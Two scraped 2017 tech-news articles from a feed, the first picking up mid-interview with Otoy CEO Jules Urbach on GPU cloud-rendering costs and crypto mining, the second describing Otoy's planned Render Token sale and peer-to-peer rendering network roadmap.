This token is an even smaller measurement of work, Octane bench work. What we deliver right now on the cloud service is in $ 5 increments. The cost is designed to go down. The cost is driven by the fact that the demand for rendering is so high that we have to fulfill a lot of the work through Amazon at the cost that Amazon provides.

Above: Color Noise by Linus Zoll

Image Credit: Linus Zoll

VB: To summarize a bit, then, the cost for cloud rendering has dramatically improved over the years, but it’s hit a wall of some kind? The cost hasn’t come down as fast as you would like more recently? Is this the next step to shake that loose again?

Urbach: Right. It’s on two fronts. I was part of the launch of Amazon’s GPU services in 2013, the ones we use today to do rendering. The price they launched at in 2013 is basically identical to the price today, even though they’ve upped the GPUs to the G3. The GPU work is no different from it was in 2013. That’s not great. We haven’t seen any serious competition to that pricing from Google or any others. That might change. It’s expected to. But that’s only one dimension of the problem.

The other one is, even with Amazon — there are tens of thousands of these computers available and it’s still not enough. When we could leverage thousands of GPUs per job—a lot of our rendering jobs are art assets, and a lot of them could be knocked out to a thousand GPUs. The problem is, as we grow our business and we get even 10 customers per day who want to render these kinds of jobs—that will happen with AR, as volumetric rendering becomes so important, and in games. We don’t have those GPUs at Amazon. So the pricing and the capacity are the areas that need to get solved.

What’s fascinating is that there’s another dimension of real world problems we have. You have so much GPU power being used today to mine cryptocurrency. We’ve found for the first time this year that our customers, they want to be running machines locally to render Octane faster, and the actual hardware isn’t available, because the miners have bought up all these cards and there aren’t any left. We look at how much power it takes to run Bitcoin — it’s larger than most countries, a huge amount of energy. It’s sucking away energy and GPUs, and it doesn’t do anything. Mining cryptocurrency doesn’t do anything valuable other than just creating a token. That gets more and more expensive every day, the more the blockchain grows.

One of the goals I had with this system — it’s just about the right timing for us to have it so you can make more money consistently from pulling that render job at that cost than you would from, essentially, pulling the lottery lever and seeing if you get an Ethereum coin. Right now, mining for Bitcoin, you’re not going to get anywhere.

Continue Reading …

VentureBeat

]]>
https://briefnews.eu/otoys-jules-urbach-believes-the-blockchain-can-produce-a-crowdsourced-rendering-engine/feed/ 0
Otoy is planning a blockchain peer-to-peer GPU rendering network https://briefnews.eu/otoy-is-planning-a-blockchain-peer-to-peer-gpu-rendering-network/ https://briefnews.eu/otoy-is-planning-a-blockchain-peer-to-peer-gpu-rendering-network/#respond Sun, 10 Sep 2017 04:39:11 +0000 http://briefnews.eu/otoy-is-planning-a-blockchain-peer-to-peer-gpu-rendering-network/


A couple weeks ago. I dived deep into the efforts of Jules Urbach, the visionary fast-talking CEO and co-founder of Los Angeles-based Otoy. The forward-thinking founder of the rendering company is perpetually working at technology’s cutting edge, and his latest efforts add a new wrinkle to his complex attempt to shape the future.

Urbach’s latest plan is to create a peer-to-peer network that can get owners of GPUs (graphics processing units) paid for letting their idle machines be used by others for complicated rendering tasks. As part of the plan, the company aims to raise $ 134 million through the distribution of so-called “Render Tokens,” enabling Urbach and cofounder Alissa Grainger to build out the technology.

“Otoy is approaching the token sale as a product/network deployment, not as a fundraising [round],” Grainger wrote in an email.

The fundamental idea behind Urbach’s latest efforts is the blockchain. For those unfamiliar, PCs across the globe are being used to solve complicated math problems as part of a vast network. In solving these problems, each machine contributes to a permanent and ever-growing ledger that functions as an indisputable record of transactions — essentially adding blocks to an ever-growing chain. This fundamental concept is particularly exciting to technologists and libertarians since it can function as a kind of currency that isn’t managed by any government or bank. The premise is a distributed and reliable network, and the blockchain is inspiring founders and investors to spawn a whole generation of startups looking to build on the idea for a variety of applications.

Hence Otoy’s “Render Token“, described as follows:

The first network to transform the power of GPU compute into a decentralized economy of connected 3D assets. We aim to make it possible for any 3D object or environment to be authored, shared, and monetized through the Ethereum blockchain protocol. The RNDR token is powered by breakthrough cloud rendering technology, creating a distributed global network of millions of peer GPU devices.

The thinking is that long-term, as the power of the chips which draw virtual worlds grows in capability alongside higher speed Internet connections, more and more work might be distributed intelligently across the network. From a blog post by Urbach:

Eventually, as rendering photorealistic scenes on GPUs becomes more energy efficient through raytracing and AI denoising ASICs, we believe that users will be able to fulfill more and more jobs with less and less hardware, latency and energy costs. New render jobs will then trend more towards real time composition, validation and re-streaming of dynamic scene state changes.

Traditional blockchain efforts merely solve these complicated math problems to add to the ledger, serving no inherent purpose. The premise behind the RNDR network is that it could speed up the rendering of extremely complex scenes by distributing the work to thousands or perhaps millions of machines, while using the blockchain ledger to essentially record completed jobs. Eventually an economy might emerge wherein people can pay using these Render Tokens or get paid for letting their machines be used to draw these complex scenes and virtual worlds.

A 10-page document outlines the plan for Render Tokens over the next year, with a pie chart breaking down how they plan to spend the $ 134 million they hope to raise after the sale of the tokens kicks off on September 19, with 40 percent planned for the build-out of the following four technology phases:

Render Phase I: Post Token Sale (Q1 2018)

Begin to enable cloud rendering services on the orc.otoy.com website with the ability to exchange tokens for rendering services that will be kept track of and facilitated by the blockchain. These services would be initially handled by OTOY or third party servers and would set the framework for a reliable transition into the peer-to-peer framework of rendering.

Render Phase II: Development Process & Preparation for Peer-to-Peer Transition (Q2 2018)

Leverage our ecosystem to bring ~7 million users on-board with the Render token platform on the ORC Network and create a simple user interface so that users and developers can easily utilize their GPU power for rendering and streaming jobs in exchange for Render tokens. We will also create and expand the structure for the back-end OTOY network that will handle the efficient processing of the rendering and streaming transactions via the Ethereum blockchain. Beta launch of the network and testing will take place in this phase.

Render Phase III: Launch Peer-to-Peer Network (Q3/Q4 2018)
Launch the peer-to-peer exchange and unlock full capability of the Render token network to enable users to use the untapped GPU power from the available resource pool. Make back-end processes streamlined and make the facilitation of the rendering/streaming job to the recipient completely automated through smart contracts and blockchain development.

Render Phase IV: The Ultimate Vision (TBD)

Once the peer-to-peer network is all set-up and running in a stable manner, we will begin to focus our efforts to unlock the true value and potential of the render jobs processed through the Render Token and the ORC network. We will stress the capabilities that they will bring in terms of custom streaming permissions, copyright protection, and unique render creation and publishing. Eventually, the process of rendering using our framework will carry additional value in the form of new and exclusive features. We will release additional information on this process during future written posts and documentation.

For Urbach, that fourth phase outlined somewhat vaguely above is where things start to get truly interesting as a foundation piece for the future he envisions. He is hoping to essentially deliver a meta-reality in which people get paid for their contributions to it. Imagine modeling a digital chair in your living room using intuitive VR or AR equipment, then uploading that model to the network. In Urbach’s future built on this Render Token, that chair carries the creator’s digital signature and payment details, allowing the creator to get both recognized and paid for their creation no matter how it is used eventually. As Urbach sees it, the web as it exists today monetized by ad networks and app stores are fundamentally flawed distribution models. He hopes that as personal computing makes the transition to mixing with our real world in three dimensions this technology can be a piece of making it all function more equitably for everyone participating.

Brendan Eich is an adviser to the RNDR Token team. He is a co-founder of Mozilla, a creator of javascript and is currently CEO of Brave Software with its so-called “Basic Attention Token” that might figure into some of these grander ambitions.

“I’ve wanted to [create] not just a holodeck, but a transactional meta-reality, metaverse if you want to call it that, that was truly open and truly persistent, and ultimately truly meaningful and valuable and not wasting whatever value we as humans need,” Urbach said. “We’re going to start building our digital lives around this base layer of spatial experiences … the web isn’t a perfect record of the world, and the blockchain is much closer to that and in some ways it is easier to monetize than going through an app store.”

This story originally appeared on Uploadvr.com. Copyright 2017

The PC Gaming channel is presented by Intel®‘s Game Dev program.





VentureBeat

]]>
https://briefnews.eu/otoy-is-planning-a-blockchain-peer-to-peer-gpu-rendering-network/feed/ 0